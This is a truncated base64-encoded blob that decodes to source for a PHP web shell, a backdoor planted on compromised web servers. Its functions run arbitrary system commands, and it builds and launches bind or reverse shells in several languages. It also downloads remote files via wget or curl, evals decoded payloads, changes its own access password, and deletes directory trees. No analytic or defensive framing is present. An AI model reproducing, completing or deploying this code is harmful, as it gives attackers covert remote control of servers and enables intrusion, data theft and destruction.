53SytGRXpoL3Fvb3huRVg0NFlSRjJJeExjUlhUSWY0UmQ5SXU1RWx4TmE4V1lkK2NYd2lZWVRYNVBicHJISFZBNDF2SXlvZnM4Z0xzOTc2OHN1aGwvOFB3NzAwU2NkSm1GS0FBQUFKWFJGV0hSa1lYUmxPbU55WldGMFpRQXlNREUwTFRBeUxURTNWREEwT2pFM09qUXhMVEEyT2pBd0d0ZnVxQUFBQUNWMFJWaDBaR0YwWlRwdGIyUnBabmtBTWpBeE5DMHdNaTB4TjFRd05Eb3hOem8wTVMwd05qb3dNR3VLVmhRQUFBQUFTVVZPUks1Q1lJST0iOw0KZnVuY3Rpb24gY2xlYW4oJGFycil7DQoJJHF1b3Rlc19zeWJhc2UgPSBzdHJ0b2xvd2VyKGluaV9nZXQoJ21hZ2ljX3F1b3Rlc19zeWJhc2UnKSk7DQoJaWYoZnVuY3Rpb25fZXhpc3RzKCdnZXRfbWFnaWNfcXVvdGVzX2dwYycpICYmIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpew0KCQlpZihpc19hcnJheSgkYXJyKSl7DQoJCQlmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KXsNCgkJCQlpZihpc19hcnJheSgkdikpICRhcnJbJGtdID0gY2xlYW4oJHYpOw0KCQkJCWVsc2UgJGFyclska10gPSAoZW1wdHkoJHF1b3Rlc19zeWJhc2UpIHx8ICRxdW90ZXNfc3liYXNlID09PSAnb2ZmJyk/IHN0cmlwc2xhc2hlcygkdikgOiBzdHJpcHNsYXNoZXMoc3RyX3JlcGxhY2UoIlwnXCciLCAiXCciLCAkdikpOw0KCQkJfQ0KCQl9DQoJfQ0KCXJldHVybiAkYXJyOw0KfQ0KDQpmdW5jdGlvbiBmZ2MoJGZpbGUpew0KCXJldHVybiBmaWxlX2dldF9jb250ZW50cygkZmlsZSk7DQp9DQoNCmZ1bmN0aW9uIGtyaXB0KCRwbGFpbil7DQoJCXJldHVybiBzaGExKG1kNSgkcGxhaW4pKTsNCn0NCmZ1bmN0aW9uIGNoYW5nZXBhc3MoJHBsYWluKXsNCgkkbmV3cGFzcyA9IGtyaXB0KCRwbGFpbik7DQoJJG5ld3Bhc3MgPSAiXCRzX3Bhc3MgPSBcIiIuJG5ld3Bhc3MuIlwiOyI7DQoJJGNvbiA9IGZnYygkX1NFUlZFUlsnU0NSSVBUX0ZJTEVOQU1FJ10pOw0KCSRjb24gPSBwcmVnX3JlcGxhY2UoIi9cXFwkc19wYXNzXCAqPVwgKltcIlwnXSooW2EtZkEtRjAtOV0qKVtcIlwnXSo7L2lzIiwkbmV3cGFzcywkY29uKTsNCglyZXR1cm4gZmlsZV9wdXRfY29udGVudHMoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddLCAkY29uKTsNCn0NCmZ1bmN0aW9uIGdldF9jb2RlKCR0LCAkYyl7DQoJZ2xvYmFsICRzX3NlbGY7DQoJJGMgPSBnemluZmxhdGUoYmFzZTY0X2RlY29kZSgkYykpOw0KCWlmKCR0PT0iY3NzIil7DQoJCXJldHVybiAiPGxpbmsgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2NzcycgaHJlZj0nIi4kc19zZWxmLiJ8JyAvPiI7DQoJCQ0KCX0NCgllbHNlaWYoJHQ9PSJqcyIpew0KCQlyZXR1cm4gIjxzY3JpcHQgdHlwZT0ndGV4dC9qYXZhc2NyaXB0JyBzcmM9JyIuJHNfc2VsZi4iISc+PC9zY3JpcHQ+IjsNCgl9DQp9DQpmdW5jdGlvbiBzaG93Y29kZSgkcmF3KXsNCgkkYyA9IGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRyYXcpKTsNCglvYl9nZXRfY29udGVudHMoKTsNCglvYl9lbmRfY2xlYW4oKTsNCglvYl9zdGFydCgpOw0KCWV2YWwoIj8+Ii4kYyk7DQoJJHNfcmVzID0gb2JfZ2V0X2NvbnRlbnRzKCk7DQoJb2JfZW5kX2NsZWFuKCk7DQoJZWNobyAkc19yZXM7DQoJZGllKCk7CQ0KfQ0KDQpmdW5jdGlvbiBhZGRzKCRzX3Mpew0KCWdsb2JhbCAkc193aW47DQoJcmV0dXJuICgkc193aW4pPyBhZGRzbGFzaGVzKCRzX3MpOiRzX3M7DQp9DQoNCmZ1bmN0aW9uIGNwKCRzX3Apew0KCWdsb2JhbCAkc193aW47DQoJaWYoQGlzX2Rpcigkc19wKSl7DQoJCSRzX3ggPSBEUzsNCgkJd2hpbGUoc3Vic3RyKCRzX3AsIC0xKSA9PSAkc194KSAkc19wID0gcnRyaW0oJHNfcCwgJHNfeCk7DQoJCXJldHVybiAoJHNfd2luKT8gcHJlZ19yZXBsYWNlKCIvXFxcXCsvaXMiLCAiXFwiLCAkc19wLiRzX3gpOiRzX3AuJHNfeDsNCgl9DQoJcmV0dXJuICRzX3A7DQp9DQpmdW5jdGlvbiBzd2QoJHNfcCl7DQoJZ2xvYmFsICRzX3NlbGY7DQoJJHNfcHMgPSBleHBsb2RlKERTLCRzX3ApOw0KCSRzX3B1ID0gIiI7DQoJZm9yKCRzX2kgPSAwOyAkc19pIDwgc2l6ZW9mKCRzX3BzKS0xOyAkc19pKyspew0KCQkkc19weiA9ICIiOw0KCQlmb3IoJHNfaiA9IDA7ICRzX2ogPD0gJHNfaTsgJHNfaisrKSAkc19weiAuPSAkc19wc1skc19qXS5EUzsNCgkJJHNfcHUgLj0gIjxhIGhyZWY9JyIuJHNfc2VsZi4iY2Q9Ii5wbCgkc19weikuIic+Ii4kc19wc1skc19pXS4iICIuRFMuIiA8L2E+IjsNCgl9DQoJcmV0dXJuIHRyaW0oJHNfcHUpOw0KfQ0KLy8gaHRtbHNwZWNpYWxjaGFycw0KZnVuY3Rpb24gaHNzKCRzX3Qpew0KCS8vJHNfcyA9IGh0bWxzcGVjaWFsY2hhcnMoJHNfcywgOCk7DQoJcmV0dXJuIGh0bWxzcGVjaWFsY2hhcnMoJHNfdCwgMiB8IDEpOw0KfQ0KLy8gZnVuY3Rpb24gcmF3IHVybGRlY29kZQ0KZnVuY3Rpb24gcnUoJHN0cil7DQoJcmV0dXJuIChpc19hcnJheSgkc3RyKSk/IGFycmF5X21hcCgicmF3dXJsZGVjb2RlIiwgJHN0cik6cmF3dXJsZGVjb2RlKCRzdHIpOw0KfQ0KLy8gZW5jb2RlIGxpbmssIGh0bWxzcGVjaWFsY2hhcnMgYW5kIHJhd3VybGVuY29kZQ0KZnVuY3Rpb24gcGwoJHN0cil7DQoJcmV0dXJuIGhzcyhyYXd1cmxlbmNvZGUoJHN0cikpOw0KfQ0KLy8gYWRkIHF1b3Rlcw0KZnVuY3Rpb24gcGYoJGYpew0KCXJldHVybiAiXCIiLiRmLiJcIiI7DQp9DQovLyByZXBsYWNlIHNwYWNlcyB3aXRoIHVuZGVyc2NvcmUgKCBfICkNCmZ1bmN0aW9uIGNzKCRzX3Qpew0KCXJldHVybiBzdHJfcmVwbGFjZShhcnJheSgiICIsICJcIiIsICInIiksICJfIiwgJHNfdCk7DQp9DQovLyB0cmltIGFuZCB1cmxkZWNvZGUNCmZ1bmN0aW9uIHNzKCRzX3Qpew0KCXJldHVybiByYXd1cmxkZWNvZGUoJHNfdCk7DQp9DQovLyByZXR1cm4gdGFnIGh0bWwgZm9yIG5vdGlmDQpmdW5jdGlvbiBub3RpZigkcyl7DQoJcmV0dXJuICI8ZGl2IGNsYXNzPSdub3RpZic+Ii4kcy4iPC9kaXY+IjsNCn0NCi8vIGJpbmQgYW5kIHJldmVyc2Ugc2hlbGwNCmZ1bmN0aW9uIHJzKCRzX3JzdHlwZSwkc19yc3RhcmdldCwkc19yc2NvZGUpew0KCS8vIHJlc291cmNlcyAkc19yc19wbCAkc19yc19weSAkc19yc19yYiAkc19yc19qcyAkc19yc19jICRzX3JzX2phdmEgJHNfcnNfamF2YSAkc19yc193aW4gJHNfcnNfcGhwDQoJJHNfcmVzdWx0ID0gJHNfZnBhdGggPSAiIjsNCgkkc19mYyA9IGd6aW5mbGF0ZShiYXNlNjRfZGVjb2RlKCRzX3JzY29kZSkpOw0KDQoJJHNfZXJycGVybSA9ICJEaXJlY3RvcnkgIi5nZXRjd2QoKS5EUy4iIGlzIG5vdCB3cml0YWJsZSwgcGxlYXNlIGNoYW5nZSB0byBhIHdyaXRhYmxlIG9uZSI7DQoJJHNfZXJyZ2NjID0gIlVuYWJsZSB0byBjb21waWxlIHVzaW5nIGdjYyI7DQoJJHNfZXJyamF2YWMgPSAiVW5hYmxlIHRvIGNvbXBpbGUgdXNpbmcgamF2YWMiOw0KDQoJJHNfc3BsaXQgPSBleHBsb2RlKCJfIiwgJHNfcnN0eXBlKTsNCgkkc19tZXRob2QgPSAkc19zcGxpdFswXTsNCgkkc19sYW5nID0gJHNfc3BsaXRbMV07DQoJaWYoJHNfbGFuZz09InB5IiB8fCAkc19sYW5nPT0icGwiIHx8ICRzX2xhbmc9PSJyYiIgfHwgJHNfbGFuZz09ImpzIil7DQoJCWlmKCRzX2xhbmc9PSJweSIpICRzX3J1bmxhbmcgPSAicHl0aG9uIjsNCgkJZWxzZWlmKCRzX2xhbmc9PSJwbCIpICRzX3J1bmxhbmcgPSAicGVybCI7DQoJCWVsc2VpZigkc19sYW5nPT0icmIiKSAkc19ydW5sYW5nID0gInJ1YnkiOw0KCQllbHNlaWYoJHNfbGFuZz09ImpzIikgJHNfcnVubGFuZyA9ICJub2RlIjsNCgkJJHNfZnBhdGggPSAiWG5vbnltb3V4X3JzLiIuJHNfbGFuZzsNCgkJaWYoQGlzX2ZpbGUoJHNfZnBhdGgpKSB1bmxpbmsoJHNfZnBhdGgpOw0KCQlpZigkc19maWxlID0gZm9wZW4oJHNfZnBhdGgsICJ3Iikpew0KCQkJZndyaXRlKCRzX2ZpbGUsICRzX2ZjKTsNCgkJCWZjbG9zZSgkc19maWxlKTsNCgkJCWlmKEBpc19maWxlKCRzX2ZwYXRoKSl7DQoJCQkJJHNfcmVzdWx0ID0gZXhlKCJjaG1vZCAreCAiLiRzX2ZwYXRoKTsNCgkJCQlpZigkc19ydW5sYW5nPT0ibm9kZSIpew0KCQkJCQlpZihjaGVja19hY2Nlc3MoIm5vZGUiKSE9PWZhbHNlKSAkc19yZXN1bHQgPSBleGUoJHNfcnVubGFuZy4iICIuJHNfZnBhdGguIiAiLiRzX3JzdGFyZ2V0KTsNCgkJCQkJZWxzZWlmKGNoZWNrX2FjY2Vzcygibm9kZWpzIikhPT1mYWxzZSkgJHNfcmVzdWx0ID0gZXhlKCRzX3J1bmxhbmcuImpzICIuJHNfZnBhdGguIiAiLiRzX3JzdGFyZ2V0KTsNCgkJCQkJDQoJCQkJfQ0KCQkJCWVsc2UgJHNfcmVzdWx0ID0gZXhlKCRzX3J1bmxhbmcuIiAiLiRzX2ZwYXRoLiIgIi4kc19yc3RhcmdldCk7DQoJCQl9DQoJCQllbHNlICRzX3Jlc3VsdCA9ICRzX2VycnBlcm07DQoJCX0NCgkJZWxzZSAkc19yZXN1bHQgPSAkc19lcnJwZXJtOw0KCX0NCgllbHNlaWYoJHNfbGFuZz09ImMiKXsNCgkJJHNfZnBhdGggPSAiWG5vbnltb3V4X3JzIjsNCgkJaWYoQGlzX2ZpbGUoJHNfZnBhdGgpKSB1bmxpbmsoJHNfZnBhdGgpOw0KCQlpZihAaXNfZmlsZSgkc19mcGF0aC4iLmMiKSkgdW5saW5rKCRzX2ZwYXRoLiIuYyIpOw0KCQlpZigkc19maWxlID0gZm9wZW4oJHNfZnBhdGguIi5jIiwgInciKSl7DQoJCQlmd3JpdGUoJHNfZmlsZSwkc19mYyk7DQoJCQlmY2xvc2UoJHNfZmlsZSk7DQoJCQlpZihAaXNfZmlsZSgkc19mcGF0aC4iLmMiKSl7DQoJCQkJJHNfcmVzdWx0ID0gZXhlKCJnY2MgIi4kc19mcGF0aC4iLmMgLW8gIi4kc19mcGF0aCk7DQoJCQkJaWYoQGlzX2ZpbGUoJHNfZnBhdGgpKXsNCgkJCQkJJHNfcmVzdWx0ID0gZXhlKCJjaG1vZCAreCAiLiRzX2ZwYXRoKTsNCgkJCQkJJHNfcmVzdWx0ID0gZXhlKCIuLyIuJHNfZnBhdGguIiAiLiRzX3JzdGFyZ2V0KTsNCgkJCQl9DQoJCQkJZWxzZSAkc19yZXN1bHQgPSAkc19lcnJnY2M7DQoJCQl9DQoJCQllbHNlICRzX3Jlc3VsdCA9ICRzX2VycnBlcm07DQoJCX0NCgkJZWxzZSAkc19yZXN1bHQgPSAkc19lcnJwZXJtOw0KCX0NCgllbHNlaWYoJHNfbGFuZz09IndpbiIpew0KCQkkc19mcGF0aCA9ICJYbm9ueW1vdXhfcnMuZXhlIjsNCgkJaWYoQGlzX2ZpbGUoJHNfZnBhdGgpKSB1bmxpbmsoJHNfZnBhdGgpOw0KCQlpZigkc19maWxlID0gZm9wZW4oJHNfZnBhdGgsInciKSl7DQoJCQlmd3JpdGUoJHNfZmlsZSwkc19mYyk7DQoJCQlmY2xvc2UoJHNfZmlsZSk7DQoJCQlpZihAaXNfZmlsZSgkc19mcGF0aCkpew0KCQkJCSRzX3Jlc3VsdCA9IGV4ZSgkc19mcGF0aC4iICIuJHNfcnN0YXJnZXQpOw0KCQkJfQ0KCQkJZWxzZSAkc19yZXN1bHQgPSAkc19lcnJwZXJtOw0KCQl9DQoJCWVsc2UgJHNfcmVzdWx0ID0gJHNfZXJycGVybTsNCgl9DQoJZWxzZWlmKCRzX2xhbmc9PSJqYXZhIil7DQoJCSRzX2ZwYXRoID0gIlhub255bW91eF9ycyI7DQoJCWlmKEBpc19maWxlKCRzX2ZwYXRoLiIuamF2YSIpKSB1bmxpbmsoJHNfZnBhdGguIi5qYXZhIik7DQoJCWlmKEBpc19maWxlKCRzX2ZwYXRoLiIuY2xhc3MiKSkgdW5saW5rKCRzX2ZwYXRoLiIuY2xhc3MiKTsNCgkJaWYoJHNfZmlsZSA9IGZvcGVuKCRzX2ZwYXRoLiIuamF2YSIsICJ3Iikpew0KCQkJZndyaXRlKCRzX2ZpbGUsJHNfZmMpOw0KCQkJZmNsb3NlKCRzX2ZpbGUpOw0KCQkJaWYoQGlzX2ZpbGUoJHNfZnBhdGguIi5qYXZhIikpew0KCQkJCSRzX3Jlc3VsdCA9IGV4ZSgiamF2YWMgIi4kc19mcGF0aC4iLmphdmEiKTsNCgkJCQlpZihAaXNfZmlsZSgkc19mcGF0aC4iLmNsYXNzIikpew0KCQkJCQkkc19yZXN1bHQgPSBleGUoImphdmEgIi4kc19mcGF0aC4iICIuJHNfcnN0YXJnZXQpOw0KCQkJCX0NCgkJCQllbHNlICRzX3Jlc3VsdCA9ICRzX2VycmphdmFjOw0KCQkJfQ0KCQkJZWxzZSAkc19yZXN1bHQgPSAkc19lcnJwZXJtOw0KCQl9DQoJCWVsc2UgJHNfcmVzdWx0ID0gJHNfZXJycGVybTsNCgl9DQoJZWxzZWlmKCRzX2xhbmc9PSJwaHAiKXsNCgkJJHNfcmVzdWx0ID0gZXZhbCgiPz4iLiRzX2ZjKTsNCgl9DQoNCglpZihAaXNfZmlsZSgkc19mcGF0aCkpIHVubGluaygkc19mcGF0aCk7DQoJaWYoQGlzX2ZpbGUoJHNfZnBhdGguIi5jIikpIHVubGluaygkc19mcGF0aC4iLmMiKTsNCglpZihAaXNfZmlsZSgkc19mcGF0aC4iLmphdmEiKSkgdW5saW5rKCRzX2ZwYXRoLiIuamF2YSIpOw0KCWlmKEBpc19maWxlKCRzX2ZwYXRoLiIuY2xhc3MiKSkgdW5saW5rKCRzX2ZwYXRoLiIuY2xhc3MiKTsNCglpZihAaXNfZmlsZSgkc19mcGF0aC4iXCRwdC5jbGFzcyIpKSB1bmxpbmsoJHNfZnBhdGguIlwkcHQuY2xhc3MiKTsNCg0KCXJldHVybiAkc19yZXN1bHQ7DQp9DQpmdW5jdGlvbiBnZW9sKCRzdHIpew0KCSRubCA9IFBIUF9FT0w7DQoJaWYocHJlZ19tYXRjaCgiL1xyXG4vIiwgJHN0ciwgJHIpKSAkbmwgPSAiXHJcbiI7DQoJZWxzZXsNCgkJaWYocHJlZ19tYXRjaCgiL1xuLyIsICRzdHIsICRyKSkgJG5sID0gIlxuIjsNCgkJZWxzZWlmKHByZWdfbWF0Y2goIi9cci8iLCAkc3RyLCAkcikpICRubCA9ICJcciI7DQoJfQ0KCXJldHVybiBiaW4yaGV4KCRubCk7DQp9DQovLyBmb3JtYXQgYml0DQpmdW5jdGlvbiB0cygkc19zKXsNCglpZigkc19zPD0wKSByZXR1cm4gMDsNCgkkc193ID0gYXJyYXkoJ0InLCdLQicsJ01CJywnR0InLCdUQicsJ1BCJywnRUInLCdaQicsJ1lCJyk7DQoJJHNfZSA9IGZsb29yKGxvZygkc19zKS9sb2coMTAyNCkpOw0KCXJldHVybiBzcHJpbnRmKCclLjJmICcuJHNfd1skc19lXSwgKCRzX3MvcG93KDEwMjQsIGZsb29yKCRzX2UpKSkpOw0KfQ0KLy8gZ2V0IGZpbGUgc2l6ZQ0KZnVuY3Rpb24gZ3MoJHNfZil7DQoJJHNfcyA9IEBmaWxlc2l6ZSgkc19mKTsNCglpZigkc19zICE9PSBmYWxzZSl7DQoJCWlmKCRzX3M8PTApIHJldHVybiAwOw0KCQlyZXR1cm4gdHMoJHNfcyk7DQoJfQ0KCWVsc2UgcmV0dXJuICI/Pz8iOw0KfQ0KLy8gZ2V0IGZpbGUgcGVybWlzc2lvbnMNCmZ1bmN0aW9uIGdwKCRzX2Ypew0KCWlmKCRzX20gPSBAZmlsZXBlcm1zKCRzX2YpKXsNCgkJJHNfcCA9ICd1JzsNCgkJaWYoKCRzX20gJiAweEMwMDApID09IDB4QzAwMCkkc19wID0gJ3MnOw0KCQllbHNlaWYoKCRzX20gJiAweEEwMDApID09IDB4QTAwMCkkc19wID0gJ2wnOw0KCQllbHNlaWYoKCRzX20gJiAweDgwMDApID09IDB4ODAwMCkkc19wID0gJy0nOw0KCQllbHNlaWYoKCRzX20gJiAweDYwMDApID09IDB4NjAwMCkkc19wID0gJ2InOw0KCQllbHNlaWYoKCRzX20gJiAweDQwMDApID09IDB4NDAwMCkkc19wID0gJ2QnOw0KCQllbHNlaWYoKCRzX20gJiAweDIwMDApID09IDB4MjAwMCkkc19wID0gJ2MnOw0KCQllbHNlaWYoKCRzX20gJiAweDEwMDApID09IDB4MTAwMCkkc19wID0gJ3AnOw0KCQkkc19wIC49ICgkc19tICYgMDA0MDApPyAncic6Jy0nOw0KCQkkc19wIC49ICgkc19tICYgMDAyMDApPyAndyc6Jy0nOw0KCQkkc19wIC49ICgkc19tICYgMDAxMDApPyAneCc6Jy0nOw0KCQkkc19wIC49ICgkc19tICYgMDAwNDApPyAncic6Jy0nOw0KCQkkc19wIC49ICgkc19tICYgMDAwMjApPyAndyc6Jy0nOw0KCQkkc19wIC49ICgkc19tICYgMDAwMTApPyAneCc6Jy0nOw0KCQkkc19wIC49ICgkc19tICYgMDAwMDQpPyAncic6Jy0nOw0KCQkkc19wIC49ICgkc19tICYgMDAwMDIpPyAndyc6Jy0nOw0KCQkkc19wIC49ICgkc19tICYgMDAwMDEpPyAneCc6Jy0nOw0KCQlyZXR1cm4gJHNfcDsNCgl9DQoJZWxzZSByZXR1cm4gIj8/Pz8/Pz8/Pz8/IjsNCn0NCi8vIHNoZWxsIGNvbW1hbmQNCmZ1bmN0aW9uIGV4ZSgkc19jKXsNCgkkc19vdXQgPSAiIjsNCgkkc19jID0gJHNfYy4iIDI+JjEiOw0KDQoJaWYoaXNfY2FsbGFibGUoJ3N5c3RlbScpKSB7DQoJCW9iX3N0YXJ0KCk7DQoJCUBzeXN0ZW0oJHNfYyk7DQoJCSRzX291dCA9IG9iX2dldF9jb250ZW50cygpOw0KCQlvYl9lbmRfY2xlYW4oKTsNCgkJaWYoIWVtcHR5KCRzX291dCkpIHJldHVybiAkc19vdXQ7DQoJfQ0KCWlmKGlzX2NhbGxhYmxlKCdzaGVsbF9leGVjJykpew0KCQkkc19vdXQgPSBAc2hlbGxfZXhlYygkc19jKTsNCgkJaWYoIWVtcHR5KCRzX291dCkpIHJldHVybiAkc19vdXQ7DQoJfQ0KCWlmKGlzX2NhbGxhYmxlKCdleGVjJykpIHsNCgkJQGV4ZWMoJHNfYywkc19yKTsNCgkJaWYoIWVtcHR5KCRzX3IpKSBmb3JlYWNoKCRzX3IgYXMgJHNfcykgJHNfb3V0IC49ICRzX3M7DQoJCWlmKCFlbXB0eSgkc19vdXQpKSByZXR1cm4gJHNfb3V0Ow0KCX0NCglpZihpc19jYWxsYWJsZSgncGFzc3RocnUnKSkgew0KCQlvYl9zdGFydCgpOw0KCQlAcGFzc3RocnUoJHNfYyk7DQoJCSRzX291dCA9IG9iX2dldF9jb250ZW50cygpOw0KCQlvYl9lbmRfY2xlYW4oKTsNCgkJaWYoIWVtcHR5KCRzX291dCkpIHJldHVybiAkc19vdXQ7DQoJfQ0KCWlmKGlzX2NhbGxhYmxlKCdwcm9jX29wZW4nKSkgew0KCQkkc19kZXNjcmlwdG9yc3BlYyA9IGFycmF5KA0KCQkJMCA9PiBhcnJheSgicGlwZSIsICJyIiksDQoJCQkxID0+IGFycmF5KCJwaXBlIiwgInciKSwNCgkJCTIgPT4gYXJyYXkoInBpcGUiLCAidyIpKTsNCgkJJHNfcHJvYyA9IEBwcm9jX29wZW4oJHNfYywgJHNfZGVzY3JpcHRvcnNwZWMsICRzX3BpcGVzLCBnZXRjd2QoKSwgYXJyYXkoKSk7DQoJCWlmIChpc19yZXNvdXJjZSgkc19wcm9jKSkgew0KCQkJd2hpbGUoJHNfc2kgPSBmZ2V0cygkc19waXBlc1sxXSkpIHsNCgkJCQlpZighZW1wdHkoJHNfc2kpKSAkc19vdXQgLj0gJHNfc2k7DQoJCQl9DQoJCQl3aGlsZSgkc19zZSA9IGZnZXRzKCRzX3BpcGVzWzJdKSkgew0KCQkJCWlmKCFlbXB0eSgkc19zZSkpICRzX291dCAuPSAkc19zZTsNCgkJCX0NCgkJfQ0KCQlAcHJvY19jbG9zZSgkc19wcm9jKTsNCgkJaWYoIWVtcHR5KCRzX291dCkpIHJldHVybiAkc19vdXQ7DQoJfQ0KCWlmKGlzX2NhbGxhYmxlKCdwb3BlbicpKXsNCgkJJHNfZiA9IEBwb3Blbigkc19jLCAncicpOw0KCQlpZigkc19mKXsNCgkJCXdoaWxlKCFmZW9mKCRzX2YpKXsNCgkJCQkkc19vdXQgLj0gZnJlYWQoJHNfZiwgMjA5Nik7DQoJCQl9DQoJCQlwY2xvc2UoJHNfZik7DQoJCX0NCgkJaWYoIWVtcHR5KCRzX291dCkpIHJldHVybiAkc19vdXQ7DQoJfQ0KCXJldHVybiAiIjsNCn0NCi8vIGRlbGV0ZSBkaXIgYW5kIGFsbCBvZiBpdHMgY29udGVudCAobm8gd2FybmluZyAhKSB4cA0KZnVuY3Rpb24gcm1kaXJzKCRzKXsNCgkkcyA9IChzdWJzdHIoJHMsLTEpPT0nLycpPyAkczokcy4nLyc7DQoJaWYoJGRoID0gb3BlbmRpcigkcykpew0KCQl3aGlsZSgoJGYgPSByZWFkZGlyKCRkaCkpIT09ZmFsc2Upew0KCQkJaWYoKCRmIT0nLicpJiYoJGYhPScuLicpKXsNCgkJCQkkZiA9ICRzLiRmOw0KCQkJCWlmKEBpc19kaXIoJGYpKSBybWRpcnMoJGYpOw0KCQkJCWVsc2UgQHVubGluaygkZik7DQoJCQl9DQoJCX0NCgkJY2xvc2VkaXIoJGRoKTsNCgkJQHJtZGlyKCRzKTsNCgl9DQp9DQpmdW5jdGlvbiBjb3B5cygkcywkZCwkYz0wKXsNCglpZigkZGggPSBvcGVuZGlyKCRzKSl7DQoJCWlmKCFAaXNfZGlyKCRkKSkgQG1rZGlyKCRkKTsNCgkJd2hpbGUoKCRmID0gcmVhZGRpcigkZGgpKSE9PWZhbHNlKXsNCgkJCWlmKCgkZiE9Jy4nKSYmKCRmIT0nLi4nKSl7DQoJCQkJaWYoQGlzX2Rpcigkcy5EUy4kZikpIGNvcHlzKCRzLkRTLiRmLCRkLkRTLiRmKTsNCgkJCQllbHNlIGNvcHkoJHMuRFMuJGYsJGQuRFMuJGYpOw0KCQkJfQ0KCQl9DQoJCWNsb3NlZGlyKCRkaCk7DQoJfQ0KfQ0KLy8gZ2V0IGFycmF5IG9mIGFsbCBmaWxlcyBmcm9tIGdpdmVuIGRpcmVjdG9yeQ0KZnVuY3Rpb24gZ2V0YWxsZmlsZXMoJHNfZGlyKXsNCiAgICAkc19mID0gZ2xvYigkc19kaXIuJyonKTsNCglmb3IoJHNfaSA9IDA7ICRzX2k8Y291bnQoJHNfZik7ICRzX2krKyl7DQoJCWlmKEBpc19kaXIoJHNfZlskc19pXSkpew0KCQkJJHNfYSA9IGdsb2IoJHNfZlskc19pXS5EUy4nKicpOw0KCQkJaWYoaXNfYXJyYXkoJHNfZikgJiYgaXNfYXJyYXkoJHNfYSkpICRzX2YgPSBhcnJheV9tZXJnZSgkc19mLCAkc19hKTsNCgkJfQ0KCX0NCiAgICByZXR1cm4gJHNfZjsNCn0NCi8vIGRvd25sb2FkIGZpbGUgZnJvbSBpbnRlcm5ldA0KZnVuY3Rpb24gZGxmaWxlKCRzX3UsJHNfcCl7DQoJZ2xvYmFsICRzX3dnZXQsICRzX2x3cGRvd25sb2FkLCAkc19seW54LCAkc19jdXJsOw0KDQoJaWYoIXByZWdfbWF0Y2goIi9bYS16XSs6XC9cLy4rLyIsJHNfdSkpIHJldHVybiBmYWxzZTsNCgkkc19uID0gYmFzZW5hbWUoJHNfdSk7DQoNCgkvLyB0cnkgdXNpbmcgcGhwIGZ1bmN0aW9ucw0KCWlmKCRzX3QgPSBAZmdjKCRzX3UpKXsNCg0KCQlpZihAaXNfZmlsZSgkc19wKSkgdW5saW5rKCRzX3ApOw0KCQlpZigkc19mID0gZm9wZW4oJHNfcCwidyIpKXsNCgkJCWZ3cml0ZSgkc19mLCAkc190KTsNCgkJCWZjbG9zZSgkc19mKTsNCgkJCWlmKEBpc19maWxlKCRzX3ApKSByZXR1cm4gdHJ1ZTsNCgkJfQ0KCX0NCgkvLyB1c2luZyB3Z2V0DQoJaWYoJHNfd2dldCl7DQoJCSRidWZmID0gZXhlKCJ3Z2V0ICIuJHNfdS4iIC1PICIuJHNfcCk7DQoJCWlmKEBpc19maWxlKCRzX3ApKSByZXR1cm4gdHJ1ZTsNCgl9DQoJLy8gdHJ5IHVzaW5nIGN1cmwNCglpZigkc19jdXJsKXsNCgkJJGJ1ZmYgPSBleGUoImN1cmwgIi4kc191LiIgLW8gIi4kc19wKTsNCgkJaWYoQGlzX2ZpbGUoJHNfcCkpIHJldHVybiB0cnVlOw0KCX0NCgkvLyB0cnkgdXNpbmcgbHlueA0KCWlmKCRzX2x5bngpew0KCQkkYnVmZiA9IGV4ZSgibHlueCAtc291cmNlICIuJHNfdS4iID4gIi4kc19wKTsNCgkJaWYoQGlzX2ZpbGUoJHNfcCkpIHJldHVybiB0cnVlOw0KCX0NCgkvLyB0cnkgdXNpbmcgbHdwLWRvd25sb2FkDQoJaWYoJHNfbHdwZG93bmxvYWQpew0KCQkkYnVmZiA9IGV4ZSgibHdwLWRvd25sb2FkICIuJHNfdS4iICIuJHNfcCk7DQoJCWlmKEBpc19maWxlKCRzX3ApKSByZXR1cm4gdHJ1ZTsNCgl9DQoJcmV0dXJuIGZhbHNlOw0KfQ0KLy8gZmluZCB3cml0YWJsZSBkaXINCmZ1bmN0aW9uIGdldF93cml0YWJsZWRpcigpew0KCWlmKCEkc19kID0gZ2V0ZW52KCJURU1QIikpIGlmKCEkc19kID0gZ2V0ZW52KCJUTVAiKSkgaWYoISRzX2QgPSBnZXRlbnYoIlRNUERJUiIpKXsNCgkJaWYoQGlzX3dyaXRhYmxlKCIvdG1wIikpICRzX2QgPSAiL3RtcC8iOw0KCQllbHNlIGlmKEBpc193cml0YWJsZSgiLiIpKSAkc19kID0gIi4iLkRTOw0KCX0NCglyZXR1cm4gY3AoJHNfZCk7DQp9DQovLyB6aXAgZnVuY3Rpb24NCmZ1bmN0aW9uIHppcCgkc19zcmNhcnIsICRzX2Rlc3Qpew0KCWlmKCFleHRlbnNpb25fbG9hZGVkKCd6aXAnKSkgcmV0dXJuIGZhbHNlOw0KCWlmKGNsYXNzX2V4aXN0cygiWmlwQXJjaGl2ZSIpKXsNCgkJJHNfemlwID0gbmV3IFppcEFyY2hpdmUoKTsNCgkJaWYoISRzX3ppcC0+b3Blbigkc19kZXN0LCAxKSkgcmV0dXJuIGZhbHNlOw0KDQoJCWlmKCFpc19hcnJheSgkc19zcmNhcnIpKSAkc19zcmNhcnIgPSBhcnJheSgkc19zcmNhcnIpOw0KCQlmb3JlYWNoKCRzX3NyY2FyciBhcyAkc19zcmMpew0KCQkJJHNfc3JjID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkc19zcmMpOw0KCQkJaWYoQGlzX2Rpcigkc19zcmMpKXsNCgkJCQkkc19maWxlcyA9IG5ldyBSZWN1cnNpdmVJdGVyYXRvckl0ZXJhdG9yKG5ldyBSZWN1cnNpdmVEaXJlY3RvcnlJdGVyYXRvcigkc19zcmMpLCAxKTsNCgkJCQlmb3JlYWNoKCRzX2ZpbGVzIGFzICRzX2ZpbGUpew0KCQkJCQkkc19maWxlID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkc19maWxlKTsNCgkJCQkJaWYoaW5fYXJyYXkoc3Vic3RyKCRzX2ZpbGUsIHN0cnJwb3MoJHNfZmlsZSwgJy8nKSsxKSwgYXJyYXkoJy4nLCAnLi4nKSkpIGNvbnRpbnVlOw0KCQkJCQlpZiAoQGlzX2Rpcigkc19m